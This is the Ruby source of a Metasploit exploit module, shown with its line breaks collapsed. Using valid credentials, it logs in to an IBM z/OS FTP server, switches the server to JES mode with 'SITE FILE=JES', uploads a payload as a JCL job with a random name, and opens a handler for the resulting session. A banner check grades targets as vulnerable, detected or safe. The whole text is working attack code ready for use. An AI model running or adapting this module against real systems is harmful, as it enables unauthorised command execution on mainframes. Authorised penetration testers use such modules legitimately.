require 'msf/core' require 'msf/core/exploit/tcp' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info( info, 'Name' => 'FTP JCL Execution', 'Description' => %q{(Submit JCL to z/OS via FTP and SITE FILE=JES. This exploit requires valid credentials on the target system)}, 'Author' => [ 'Bigendian Smalls', 'mainframed a.k.a. soldier of fortran', 'S&Oxballs a.k.a. chiefascot' ], 'Arch' => ARCH_CMD, 'License' => MSF_LICENSE, 'Platform' => ['mainframe'], 'Privileged' => false, 'Targets' => [['Automatic', {}]], 'DisclosureDate' => 'May 12 2013', 'DisableNops' => 'true', 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(21), OptInt.new('SLEEP', [ false, "Time to wait before checking if job has completed.", 5 ]) ], self.class ) end def check ## # Connect to get the FTP banner and check target OS ## if !connect_login fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to connect to FTP server") else print_good("Successfully connected to FTP server.") end test_jes = send_cmd(['site', 'file=jes']) # Disconnect and check cached self.banner disconnect ## # Check if the target system has an FTP server running on z/OS" ## case banner when /IBM FTP CS V.R./ case test_jes when /200 SITE/ print_status("Found IBM z/OS Banner and JES commands accepted") return Exploit::CheckCode::Vulnerable else print_status("Found IBM z/OS Banner but SITE FILE=JES failed. Try anyway!") return Exploit::CheckCode::Detected end ## # Return the Safe flag if system is not exploitable ## else print_status("We could not recognize the server banner: #{banner.strip}") return Exploit::CheckCode::Safe end end ## # Exploit the target system by submitting a JCL job via FTP ## def exploit if !connect_login fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to connect to FTP server") else print_good("Successfully connected to FTP server.") end send_cmd(['site', 'file=jes']) print_status("Successfully switched to JES mode") jcl_file_name = "#{Rex::Text.rand_text_alpha(8).upcase}" print_status("Uploading JCL file: #{jcl_file_name}") res = send_cmd_data(['put', jcl_file_name], payload.encoded) if res.nil? fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to upload JCL to FTP server") end job_num = res.lines.first.split.last print_good("Job Submitted. Job number is #{job_num}") handler disconnect end end